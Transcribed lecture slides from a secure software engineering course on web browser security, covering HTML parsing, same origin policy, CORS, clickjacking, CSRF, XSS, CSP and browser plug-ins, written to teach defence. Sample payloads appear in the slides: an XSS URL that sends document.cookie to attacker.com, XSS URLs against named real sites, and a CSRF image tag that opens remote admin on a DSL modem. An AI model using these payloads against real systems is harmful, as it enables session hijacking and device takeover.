Transcript Security of Electronic Voting - Northern Kentucky University

Web Browser Security
James Walden
Northern Kentucky University
Topics
1.
2.
3.
4.
5.
6.
7.
8.
9.
HTML
JavaScript, JSON, and the DOM
Same Origin Policy (SOP)
Extensions and Plug-ins
Browser Fingerprinting
Clickjacking
Cross-Site Request Forgery (CSRF)
Cross-Site Scripting (XSS)
Content Security Policy (CSP)
CSC 666: Secure Software Engineering
HTML
 Hierarchical tree
structure of tags.
 Tags have optional
name=value
parameters.
 Text nodes may
exist between tags.
 Special characters:
<>“‘&
CSC 666: Secure Software Engineering
Entity Encoding
Entity
Character
&lt;
<
&gt;
>
&amp;
&
&quot;
“
&apos;
‘
&copy;
©
&para;
¶
&euro;
€
&asymp;
≈
&frac12;
½
&#nnnn;
Unicode code point nnnn (decimal)
&#xhhhh;
Unicode code point hhhh (hexadecimal)
CSC 666: Secure Software Engineering
HTML vs. XHTML
HTML
 Generously interprets tags, with many variants
between browsers.
 Interprets string between certain tags as non-HTML
text: <style>, <script>, <textarea>, <xmp>.
XHTML
 Strict: tags are case sensitive; all tags must be closed
and properly nested; attributes must be quoted; etc.
 Supports raw text inside any tag via <![CDATA[ … ]]>
 Can incorporate sections using other XML-based
markup languages like MathML.
CSC 666: Secure Software Engineering
HTTP/HTML Integration
Why express HTTP headers in HTML?
 HTML document loaded from local file.
 HTML document received via non-HTTP protocol.
How to express HTTP headers in HTML?
 http-equiv meta tags
<meta http-equiv=“Content-Type” content=“text/html;charset=utf-8”>
Dangers of HTTP/HTML integration
 Undefined behavior when meta tags conflict with each
other or with HTTP headers.
 Browser has already made some decisions about
how to process document. Can’t change content type
from HTML or change location to load content from.
HTML Parsing Complexity
1: IE will allow a NUL to be inserted.
2, 4: Can replace space with vertical tab (0x0B) or
form feed(0x0C) or UTF-8 nb space(0xA0) in Opera.
2: Whitespace can be replaced by /.
3: NULs or whitespace may be inserted.
5: IE accepts backtick(`) as well as quotes.
6: Whitespace after quotes can be skipped.
Example from The Tangled Web
HTML Obfuscation Techniques
 Fake invalid namespaces
 Invalid but working attribute separators
 Decimal and hex entities inside HTML attributes
Snippet above
runs JavaScript
using following
obfuscation
techniques.
 CSS entities inside the style attribute
 Double encoded entities inside the style attribute
 Backticks as attribute value delimiters
 Invalid but working escapings
 JavaScript Unicode entities in onbegin event handler
 Crippled decimal entities inside onbegin event handler
 Invalid garbage before the ending tag
Example from Web Application Obfuscation
HTML Input Validation
1. Don’t accept HTML input.
 The best approach if you can choose it.
2. Whitelist validation with a parser.
1. Use HTML (or XML) parser to create inmemory representation of input string.
2. Remove all unknown or undesired tags,
attributes, and values.
3. Serialize in-memory data structure to a wellformed correctly escaped HTML document.
CSC 666: Secure Software Engineering
HTML Forms
<form> tag
 action=URL destination for
form input.
 method=get sends input
as query string parameters
 method=post sends input
as data in POST method
<input> tag
 name=name of input.
 type attribute specifies
checkbox, radio, text, etc.
CSC 666: Secure Software Engineering
Hidden Fields
<input type=“hidden” name=“user” value=“james”>
 Used to propagate data between HTTP
requests since protocol is stateless.
 Clearly visible in HTML source.
 User can modify hidden values since form can
be copied, modified to change hidden fields,
then used to invoke script.
CSC 666: Secure Software Engineering
HTTP POST Request
Method
URL
Protocol Version
POST http://www.example.com/ HTTP/1.1 Headers
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 5.1)
Gecko/20060909 Firefox/1.5.0.7
Accept: text/html, image/png, */*
Accept-Language: en-us,en;q=0.5
Blank Line
name=Jane+Doe&sex=female&color=green&ove
r6feet=true&over200pounds=false&athletic
ability=NA
POST data
CSC 666: Secure Software Engineering
JavaScript
Common web scripting language.
 Standardized as ECMAScript (currently version 5).
 Runs in browser via a Just-In-Time (JIT) compiler.
Can be included in a web page via







Inline <script> blocks.
Remote scripts via <script src=“…>
javascript: URLs in HTML params and CSS.
CSS expression(…) syntax
Event handlers (onload, onclick, onerror, …)
Timers (setTimeout, setInterval)
eval(…) calls from within JavaScript.
CSC 666: Secure Software Engineering
JavaScript Security Issues
Each <script> block is processed individually in the
order encountered on page.
 Syntax error won’t stop later <script>s from running.
 All scripts can set variables in global namespace.
 Scripts can replace built-in classes and functions.
Nested script inclusion requires nested encoding
<div onclick=“setTimeout(‘do_stuff(\’user_string\’)’,1)”>
1. HTML parser extracts onclick and puts in DOM.
2. When button clicked, timeout is set.
3. When timeout triggered, inside script executed.
To be secure, double-encode user_string with JS
backslashes, then encode with HTML entities.
JSON
JSON = JavaScript Object Notation
 Lightweight data interchange format.
 Based on a subset of JavaScript, but is
 Language independent; libraries for any
language.
 Standards: RFC 4627 and ECMA-404.
JSON parsing
 Use JSON.parse(…)
 Do not use eval(…) as it will execute any
JavaScript code, not just parse JSON.
JSON Arrays
Arrays are lists of items
 Delimited by square brackets: []
 Items in array separated by commas
 Items can be of different data types
Array Examples




[1, 2, 3]
[“one”, “two”, “three”]
[1, “two”, 3]
[ 1, “two”, [1,2,3] ]
JSON Objects
Objects are associative arrays




Delimited by curly braces: {}
Key/value pair syntax is “key” : value
Pairs separated by commas
Values can be objects, arrays, or scalar types.
Object Examples
 { “spam” : “eggs” }
 { “x” : 1, “y” : 2, “z” : 3 }
 { “hostname” : “kosh”, “ips” : [ “10.0.0.1”,
“172.31.0.1”], “age” : 3 }
JSON Example
{
"firstName": "John",
"lastName": "Smith",
"age": 25,
"address":
{
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": 10021
},
"phoneNumbers":
[
{ "type": "home", "number": "212 555-1234" },
{ "type": "fax", "number": "646 555-4567" }
]
}
Document Object Model (DOM)
 DOM connects
JavaScript and CSS
to HTML
documents.
 JavaScript can read
and modify every
element of HTML.
 Dynamic HTML
(DHTML) = DOM +
JavaScript + CSS.
 Capability used by
threats in cross-site
scripting attacks.
CSC 666: Secure Software Engineering
XMLHttpRequest (XHR) API
JavaScript API to request data from server.
 Without loading a new web page in browser.
 Can be done asynchronously so web
application UI responsive during loads.
 Resources typically XML or JSON data.
Allows highly interactive web applications
 AJAX = Asynchronous JavaScript and XML
 Examples: Google Maps, Gmail, etc.
 Can only request resources from server that
JavaScript came from (Same Origin Policy.)
CSC 666: Secure Software Engineering
DHTML vs. Ajax
CSC 666: Secure Software Engineering
Browser Storage
 Why aren’t cookies enough?
 Performance hit: included with every HTTP request.
 Limited to about 4KB in size.
 Flash storage
 Local Stored Objects (LSOs) 100KB per domain.
 Client can request more storage with user approval.
 Web Storage (aka DOM Storage)
 Standard supported by all browsers.
 Key/value storage in string format.
 5MB of storage per origin.
 WebSQL exists but is not supported by IE or FF.
CSC 666: Secure Software Engineering
Same Origin Policy for DOM
Policy: Given any two JavaScript execution
contexts, one should be able to access the DOM
of the other only if protocols, DNS names, and port
numbers of their documents match exactly.
 Cannot isolate home pages of different users.
 Disallows communication between login.example.com
and payments.example.com.
CSC 666: Secure Software Engineering
document.domain
 JavaScript property that permits two cooperating
web sites that share a common TLD to agree to
be considered same domain for SOP checks.
 Example:
 On login.example.com and payments.example.com
 document.domain = “example.com”
CSC 666: Secure Software Engineering
postMessage() API
postMessage() API
 HTML 5 extension that permits secure communication
between client scripts from different domains.
Example
 On login.example.com (sender)
parent.postMessage(key=val, ‘http://payments.example.com)
 On payments.example.com (receiver)
addEventListener(“message”, info, false)
If (msg.origin == “https://login.example.com”) {
// use msg.data that was sent by login.example.com
}
CSC 666: Secure Software Engineering
Same Origin Policy for XHR
 XHR requests work like HTTP except
 XHR URL must match origin of document
 document.domain setting is ignored
 XHR limited on a per-browser basis on
 HTTP methods (none allow TRACE)
 HTTP headers (none allow Host, Referer,
Content-Length)
CSC 666: Secure Software Engineering
Cross-Origin Resource Sharing
 CORS allows secure cross-domain requests.
 Simple: GET or POST text/plain, no custom headers
 Preflighted: Different request, body types + headers
 Cookies are not sent by browser with either type.
 Simple Request Mechanism
 HTTP request specifies its origin with a header:
- Origin: URL
 If request is allowed, HTTP response is
- Access-Control-Allow-Origin: URL or
- Access-Control-Allow-Origin: *
 * is for public resources and ignores SOP entirely.
CSC 666: Secure Software Engineering
XHR+CORS Interaction
CSC 666: Secure Software Engineering
CORS Preflight Mechanism
 Preflight OPTIONS HTTP request
 Origin: URL
 Access-Control-Request-Method: method
 Access-Control-Request-Headers: optional header with a
,-separated list of custom headers being used.
 Preflight HTTP response
 Access-Control-Allow-Origin: URL
 Access-Control-Allow-Methods: ,-separated list of methods.
 Access-Control-Allow-Headers: optional header with a
,-separated list of headers permitted by server.
 Access-Control-Max-Age: time to cache preflight response
 Access-Control-Allow-Credentials: true if want to permit
authentication credentials to be sent.
CSC 666: Secure Software Engineering
Cookie and DOM SOP Interaction
Path scope used by cookie SOP, but not by DOM.
 JavaScript in same domain can overwrite cookies
regardless of path scope.
An attack
 User browses to secure.example.com, which uses
SESSIONID cookie for authentication.
 Attacker on test.example.com installs script.
 User browses to test.example.com, runs script.
 Script sends many cookies, overflowing cookie jar.
 Script sets SESSIONID token for *.example.com.
 User uses attacker SESSIONID on next access of
secure.example.com.
Pseudo-URLs
 Allow inclusion of data directly in HTML pages.
 about:, data:, and javascript: are pseudo-URLs.
 Each browser treats pseudo-URL origins differently.
 Uses of Pseudo-URLs
 about:blank is typically used to create blank DOM in
iframes for scripts to control.
 <img src=“data:image/jpeg;base64,/9j/4AAQSk…”>
 <iframe src=“data:text/html;<h1>Hello world</h1>”>
 <iframe src=“javascript:alert(‘Hello world’)”>
CSC 666: Secure Software Engineering
Cross-Site Attacks
Target users of application.
 Use application feature to reach other users
of application, bypassing same origin policy.
 Obtain assets of individual users rather than
assets of entire application.
One of the most common types of attack.
 Clickjacking
 Cross-Site Request Forgery (CSRF)
 Cross-Site Scripting (XSS)
CSC 666: Secure Software Engineering
Clickjacking
 Any page can embed
any other page
inside a frame.
 Malicious pages can
hide that fact by
overlaying display
elements.
 Clicks in frame are
delivered to
embedded
application with
cached credentials.
The Tangled Web
CSC 666: Secure Software Engineering
Clickjacking Defences
 X-Frame-Options header
 DENY: prevent any site from framing content
 SAMEORIGIN: only same origin can frame.
 ALLOW-FROM: only specified URL can frame.
 CSP2 frame-ancestors directive
 Same capabilities using CSP directives.
 Frame breaking scripts
 Classic frame breaking
- if(top != self) top.location.replace(location);
 Malicious sites can stop, so frame breaking evolves.
 Frame sandboxing can stop any frame breaking.
CSC 666: Secure Software Engineering
Cross-Site Request Forgery
A confused deputy attack.
 Exploits the trust that an application has with
authenticated sessions.
Attack scenario:
 User authenticates to web application.
 User browses to another site containing a
malicious CSRF attack link to web app.
- iframe, img, link, bgsound, etc.
 Browser accesses web app with cached
credentials, performing whatever action
specified by the link.
CSC 666: Secure Software Engineering
Example: DSL Modem Attack
Home network devices
are administered via web
apps.
 Standard local IPs.
Attacker inserts 1-pixel
img tag on page.
 src is URL of form
submission, giving remote
admin.
No password needed.
 Software owner assumed
device on trusted local
network.
 Of course, browser is on the
local network too.
<img
src="http://192.168.1.254/Forms/remoteRES_1?NSS_Rem
otePassword=blehblah&NSS_EnableWANAdminAccessRE
S=on&timeoutDisable=0&Enable=Enable" alt="" width="1"
height="1" />
CSC 666: Secure Software Engineering
Mitigating CSRF
Require POST for data modifications, but
 Many frameworks automatically fetch both types of
parameters or convert one to other.
 Hidden POST requests can be created with scripts.
Check referer header.
 But users can block or forge referer header, so it
cannot be relied on for everyone.
Use nonces.
 Random token inserted as hidden parameter, and
thus submitted with form.
 But XSS can read form, so a combined XSS + CSRF
attack can bypass this defense.
CSC 666: Secure Software Engineering
Mitigating CSRF
Re-authenticate for high value transactions.
 Use out of band authentication if possible.
Expire session IDs quickly.
 But there will always be some time period in
which a CSRF attack will work.
Automate defenses with tools.
 CSRFGuard to insert nonces.
 CSRFTester to verify application.
CSC 666: Secure Software Engineering
Cross-Site Scripting (XSS)
Attacker causes a legitimate web server to
send user executable content (Javascript,
Flash ActiveScript) of attacker’s choosing.
Impact of XSS




Account hijacking.
Browser hijacking (malware hosting.)
Information leakage (stored form values, etc.)
Virtual defacement.
CSC 666: Secure Software Engineering
XSS Example
Web application sends browser to an error
page after user clicks submit.
https://example.com/error.php?message=
Sorry%2C+an +error+occurred
CSC 666: Secure Software Engineering
XSS Example
The error message is “reflected” back from
the Web server to the client in a web page.
CSC 666: Secure Software Engineering
XSS Example
We can replace the error with JavaScript
https://example.com/error.php?message=<s
cript>alert(‘xss’);</script>
CSC 666: Secure Software Engineering
Exploiting the Example
1. User logins in and is issued a cookie
2. Attacker feed the URL to user
https://example.com/error.php?message=<s
cript>var+i=new+Image;+i.src=“http://atta
cker.com/”%2bdocument.cookie;</script
>
CSC 666: Secure Software Engineering
Why does XSS Work?
Same-Origin Policy
 Browser only allows Javascript from site X to
access cookies and other data from site X.
 Attacker needs to make attack come from
site X.
Vulnerable Server Program
 Any program that returns user input without
filtering out dangerous code.
CSC 666: Secure Software Engineering
Reflected XSS
Attack Scenario
 User clicks on link.
 Injected script returned by one-time message
from vulnerable site.
 User browser executes injected code.
Limitations
 Non-persistent. Only works when user clicks.
 Most common type of XSS (~75%).
CSC 666: Secure Software Engineering
Anatomy of an XSS Attack
Web Server
Attacker
User
3. XSS Attack
7. Browser runs
injected code.
4. User clicks on XSS link.
CSC 666: Secure Software Engineering
Evil site saves ID.
XSS URL Examples
http://www.microsoft.com/education/?ID=MCTN&target=h
ttp://www.microsoft.com/education/?ID=MCTN&target=
"><script>alert(document.cookie)</script>
http://hotwired.lycos.com/webmonkey/00/18/index3a_pa
ge2.html?tw=<script>alert(‘Test’);</script>
http://www.shopnbc.com/listing.asp?qu=<script>alert(
document.cookie)</script>&frompage=4&page=1&ct=VVT
V&mh=0&sh=0&RN=1
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_searc
h_exe?search_text=_%22%3E%3Cscript%3Ealert%28docum
ent.cookie%29%3C%2Fscript%3E
CSC 666: Secure Software Engineering
Stored XSS
Injected script stored in
 Post or comment.
 Review.
 Uploaded file.
User views page with injected script.
 Malicious action is taken while user is logged
into site where malware found.
 Not technically cross-site.
Attack persists until injected code deleted.
CSC 666: Secure Software Engineering
Browser Exploitation Framework
BeEF hooks browsers via XSS exploit
 Can use as stored or reflected XSS.
 Hooked browsers are bots controlled by BeEF.
Exploitation modules run on hooked browsers to






View browsing history.
Identify authenticated sessions.
Phishing and other social engineering attacks.
Port scans of network browser is running on.
Reverse proxy into network browser is running on.
Use Metasploit.
CSC 666: Secure Software Engineering
BeEF Screenshot
CSC 666: Secure Software Engineering
Mitigating XSS
1. Disallow HTML input
2. Allow only safe HTML tags
3. Encode output
Replace HTML special characters in
output
ex: replace < with &lt; and > with &gt;
also replace (, ), #, &
4. Re-authenticate for important transactions to
limit exposure to account hijacking.
5. Content Security Policy (CSP)
CSC 666: Secure Software Engineering
Content Security Policy (CSP)
 Server specifies security policy via CSP HTTP header
 Content-Security-Policy: policy
 Policy is ;-delimited string containing policy directives.
 Policies limit
 Origins for including content (scripts, images, styles, etc.)
 Use of inline resources, such as <script> tags, javascript: URLs,
inline event handlers, and <style> tags.
 Dynamic code evaluation with eval() and other methods.
 CSP versions and support
 CSP level 1 is supported by all browsers since 2013 except IE,
which uses X-Content-Security-Policy header.
 CSP level 2 last call working draft in 2015.
CSC 666: Secure Software Engineering
CSP Directives
 Source specifications
 URL with optional wildcards
 ‘none’: no URLs match.
 ‘self”: current URL matches.
 ‘unsafe-inline’: allow inline resources.
 ‘unsafe-eval’: allow dynamic code evaluation
 Policy directives
 child-src: limits nested browsing contexts like frames.
 connect-src: limits resources that can be requested by scripts.
 default-src: child, connect, font, img, media, object, script, style.
 plugin-types: specifies valid plugins to use with this page.
 referrer: string to place in referer header when links followed.
 report-uri: URI for browser to report attempted violations.
CSP Examples
 All content must come from domain of URL, excluding
subdomains
 Content-Security-Policy: default-src ‘self’
 Allow content from trusted domain and its subdomains
 Content-Security-Policy: default-src ‘self’ *.trusted.com
 Allow domains for specified content types
 Content-Security-Policy: default-src 'none'; script-src
https://cdn.mybank.net; style-src https://cdn.mybank.net; img-src
https://cdn.mybank.net; connect-src https://api.mybank.com;
frame-src 'self‘
 Allow social media widgets
 Content-Security-Policy: script-src https://apis.google.com
https://platform.twitter.com; frame-src https://plusone.google.com
https://facebook.com https://platform.twitter.com
Frame Sandboxing
 HTML5 sandbox limitations
 Frames are assigned a unique, random, synthetic
origin, preventing page from accessing origin bound
content from its domain. Allow-same-origin disables.
 Framed document cannot navigate to parent.
 JavaScript will not execute.
 Plugins will not load.
 Forms will not be submitted.
 Features that trigger automatically are disabled.
 Sandbox attribute whitelist
 Space-separated list of allowed actions.
CSC 666: Secure Software Engineering
Frame Sandbox Attributes
 Sandbox capabilities






allow-forms
allow-popups
allow-scripts
allow-same-origin
allow-scripts
allow-top-navigation
 Example sandbox
<iframe sandbox="allow-same-origin allow-scripts allow-forms”
src=https://platform.twitter.com/widgets/tweet_button.html
style="border: 0; width:130px; height:20px;"></iframe>
CSC 666: Secure Software Engineering
Browser Security Architecture
http://shreeraj.blogspot.com/2011/12/top-10-html5-threats-attack-vectors.html
Chrome
Firefox
Browser Vulnerability History
CSC 666: Secure Software Engineering
Extensions and Plug-ins
 Extensions
 Exist inside browser process.
 Can create browser menus and tabs.
 Can affect any and all web pages.
 Plug-ins




Can exist outside browser process.
Only affects page plugin is loaded into.
Loaded by MIME type or <object> tag.
Have their own security policies.
 Add-on
 Umbrella term for plug-ins, extensions, themes, etc.
CSC 666: Secure Software Engineering
Extensions
Extensions run inside browser process.




Typically written in JavaScript, HTML, XML.
Has more privilege than a web page.
Not restricted by SOP.
Can read/write files, access login manager, …
CSC 666: Secure Software Engineering
Extensions
Extensions are dangerous.
 Running an extension gives creator access to almost
everything the browser can do.
 Can bypass efforts by applications to attempt to
secure interactions with SSL, etc.
Extensions can have vulnerabilities
 Extensions that use user input, such as web page
contents, need to validate that input carefully to avoid
being controlled by attacker.
 XCS (cross-context scripting) is attack similar to XSS
but since it occurs in extension, gives system access.
 Example: http://www.gnucitizen.org/blog/firebug-goes-evil/
CSC 666: Secure Software Engineering
Invoking a Plug-in
HTML invocation of a plug-in
<object data=“app.swf” type=“application/x-shockwave-flash”>
<param name=“param1” value=“value1”>
<param name=“param2” value=“value2”>
…
</object>
Browser processing of plug-in invocation
 If type specified, compare type with MIME types registered by all
active plug-ins.
 If a match is found, then start the matching plug-in.
 If match not found, browser may check file suffix in data URL or
Content-Type returned by server when that URL is fetched.
 If still no match, check body or ask user to install plug-in.
GIFAR Vulnerability
Graphics Interchange Format java Archive
 Has GIF header, so it’s a valid image.
 Has ZIP footer, so it’s a valid JAR.
Attacker uploads on image hosting site
 Victim downloads image.
 Content-type handling confusion transfers
control to Java plug-in which runs file as a
Java program, which
 Has access to victim cookie’s for image host.
CSC 666: Secure Software Engineering
Adobe Flash
Multimedia plugin with ActionScript
 Found on 95+% of all browsers.
 ActionScript is derived from JavaScript.
ActionScript has more permissions than JavaScript
 Full screen rending for UI spoofing.
 Access to inputs like microphone, webcam.
Cross Domain Policy (as of Flash Player 7)
 Performs domain matching before allowing access.
 Can expand limits with crossdomain.xml policy file.
CSC 666: Secure Software Engineering
ActiveX
Executable code downloaded from server
 Native code binary format
 Can perform any action on client system.
 IE 9 disables Active X by default.
Security model
– Digital signature
authentication
– Zone-based access
control
– No control once
execution starts
CSC 666: Secure Software Engineering
Java
Applet plugin
 Found on 80+% of all browsers.
 Deprecated <applet> tag superseded by <object>.
Java has more permissions than JavaScript
 Can open URL connections to any host at same IP,
undoing isolation between virtual hosts.
 Can make TCP connections to any port.
Java security architecture
 Runs applets in a sandbox, optional code signing.
 Supports Flash crossdomain.xml files since 6u10.
 Digital signatures on applets required after 7u21.
CSC 666: Secure Software Engineering
Java Security Architecture
 Bytecode Verifier
 Type checking.
 Bounds checking.
 Class Loader
 Enforces namespaces.
 Security Manager
 Checks code
signatures.
 Enforces security
policies.
CSC 666: Secure Software Engineering
Browser Fingerprinting
 Clients can identify specific browsers
 HTTP headers, including User-Agent, and
 Network addresses, and
 System characteristics.
 System characteristics include






Browser plug-ins
Fonts
Screen resolution
Window sizes
Clock drift
RNG behavior
CSC 666: Secure Software Engineering
Private Browsing Modes
 Provide limited privacy
 Disable browser history and web cache.
 Disable storing cookies and LSOs to disk.
 Designed to protect against other users of PC.
 Privacy exceptions
 Browsers will store site configuration (pop-up
blocking, SSL certificates, etc.)
 Windows OS will have sites visited in DNS cache.
 Servers can determine if private browsing is enabled
by measuring time to write cookies.
 Browsers can still be fingerprinted
 Most fingerprint features still enabled.
MPack Browser Malware
1.
2.
3.
4.
5.
6.
7.
User visits site.
Response contains
iframe.
Iframe code causes
browser to make
request.
Request redirected to
MPack server.
Server identifies OS
and browser, sends
exploit that will work for
client configuration.
Exploit causes browser
to send request for
code.
Mpack downloader
sent to user, begins
d/ling other malware.
CSC 666: Secure Software Engineering
MPack
Commercial underground PHP software
 Sold for $700-1000.
 Comes with one year technical support.
 Can purchase updated exploits for $50-150.
Infection Techniques




Hacking into websites and adding iframes.
Sending HTML mail with iframes.
Typo-squatting domains.
Use GoogleAds to draw traffic.
CSC 666: Secure Software Engineering
Key Points
1. HTML
 HTML vs. XHTML parsing differences.
 Input validation requires a whitelist approach with a parser.
2. JavaScript and the DOM
 DHTML vs. XHR approaches to application design.
 How and when JavaScript executes in a page.
3. Plug-ins and Extensions
4. Same Origin Policy (SOP)
 Prevents web sites from accessing cookies, etc. from other sites.
 CORS provides for safe cross-domain XHR.
 Clickjacking, XSS, and CSRF attacks bypass SOP.
5. CSP and Sandboxing
CSC 666: Secure Software Engineering
References
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
Devdatta Akhawe, Prateek Saxena, and Dawn Song. "Privilege
Separation in HTML5 Applications." USENIX Security Symposium. 2012.
Wade Alcom et. Al., The Browser Hacker’s Handbook, Wiley, 2014.
Robert Hanson and Jeremiah Grossman, Clickjacking,
http://www.sectheory.com/clickjacking.htm, 2008.
Mario Heiderich et. Al., Web Application Obfuscation, Syngress, 2010.
HTML 5 Security, http://html5security.org/
Mozilla, Using Content Security Policy, https://developer.mozilla.org/enUS/docs/Web/Security/CSP/Using_Content_Security_Policy, 2015.
Mark Pilgrim, Dive into HTML5, http://diveintohtml5.info/
Dafydd Stuttart and Marcus Pinto, The Web Application Hacker’s
Handbook, 2nd Edition, Wiley, 2011.
W3C, Content Security Policy Level 2, http://www.w3.org/TR/CSP/, 2015.
Web Application Security Working Group,
http://www.w3.org/2011/webappsec/.
Michael Zalewski, The Browser Security Handbook,
https://code.google.com/p/browsersec/, 2009.
Michael Zalewski, The Tangled Web: A Guide to Securing Modern Web
Applications, No Starch Press, 2011.
CSC 666: Secure Software Engineering